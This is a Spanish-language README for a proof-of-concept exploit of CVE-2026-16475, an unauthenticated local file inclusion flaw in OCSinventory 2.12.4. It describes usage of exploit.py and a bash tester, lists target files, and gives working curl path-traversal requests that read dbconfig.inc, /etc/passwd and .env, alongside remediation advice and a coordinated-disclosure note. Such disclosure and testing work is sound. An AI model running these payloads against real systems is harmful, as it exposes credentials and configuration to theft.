CVE-2026-16475 - PoC de LFI en OCSinventory

Vulnerabilidad de inclusión de archivos locales en OCSinventory 2.12.4

Detalles de la vulnerabilidad

ID CVE: CVE-2026-16475
Puntuación CVSS: 6.9 (Media)
CWE: CWE-98 (Control inadecuado del nombre de archivo para la declaración Include/Require en un programa PHP)
Versión afectada: OCSinventory 2.12.4
Estado: Corregido en las últimas versiones

Descripción

Existe una vulnerabilidad de inclusión de archivos locales (LFI) en el endpoint /ajax/teledeployoptions.php debido a una sanitización inadecuada del parámetro linkedoptions antes de su uso en una operación dinámica de inclusión de archivos XML.

El endpoint está diseñado para cargar archivos de configuración XML, pero no valida correctamente el parámetro linkedoptions, lo que permite ataques de path traversal (recorrido de rutas).

Un atacante remoto no autenticado puede explotar esta vulnerabilidad para:

• Incluir y acceder a archivos XML arbitrarios dentro del directorio de la aplicación
• Leer archivos no XML a través de mensajes de error del analizador XML
• Divulgar información sensible sobre recursos internos de la aplicación
• Enumerar archivos del sistema y realizar fingerprinting del sistema operativo

Impacto

• Confidencialidad: ALTA - Acceso a archivos arbitrarios (archivos de configuración, código fuente, registros, archivos del sistema)
• Integridad: NINGUNA
• Disponibilidad: NINGUNA
• Autenticación requerida: NO
• Interacción del usuario: NO

Uso

Requisitos previos

pip install -r requirements.txt

Versión de Python (Recomendada)

python3 exploit.py -u http://target.com -v

Opciones:

• -u, --url - URL objetivo (obligatorio)
• -v, --verbose - Salida verbosa
• -o, --output - Guardar las lecturas exitosas en un archivo

Ejemplo:

python3 exploit.py -u http://ocs.example.com -v -o results.txt

Versión Bash

./lfi_test.sh

Edita la variable BASE_URL en el script:

BASE_URL="http://target.com/ajax/teledeployoptions.php"

Objetivos enumerados

• Archivos de configuración de la aplicación (dbconfig.inc, .env, config.inc)
• Archivos de trabajo XML (bashscriptopt, executableopt, msiapplicationopt)
• Registros del sistema (apache2, mysql, auth)
• Archivos del sistema (/proc/, /etc/)
• Secretos de la aplicación (composer, archivos de paquetes, .htaccess)

Ejemplo de explotación

# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"

Remediación

Para usuarios:

• Actualiza OCSinventory a la última versión inmediatamente
• Implementa reglas WAF para bloquear patrones de path traversal

Para desarrolladores:

• Usa basename() o funciones similares para prevenir el path traversal
• Valida y sanitiza todas las entradas del usuario antes de las operaciones con archivos
• Implementa controles de acceso adecuados
• Usa listas permitidas (allow-lists) para rutas de archivo válidas

Referencias

• Aviso de INCIBE (ES) - Autoridad oficial de coordinación de CVE
• OCS Inventory GitHub
• Path Traversal de OWASP
• Definición de CWE-98

Nota: CVE-2026-16475 está coordinado a través de INCIBE y puede que aún no esté indexado en NVD. Consulta la fuente de INCIBE para obtener información autoritativa.

Legal

Solo para fines educativos y pruebas autorizadas

Consulta DISCLAIMER.md para el aviso legal completo.

Autor

Adrián Ferrer Tarí

---

Divulgación responsable coordinada a través de INCIBE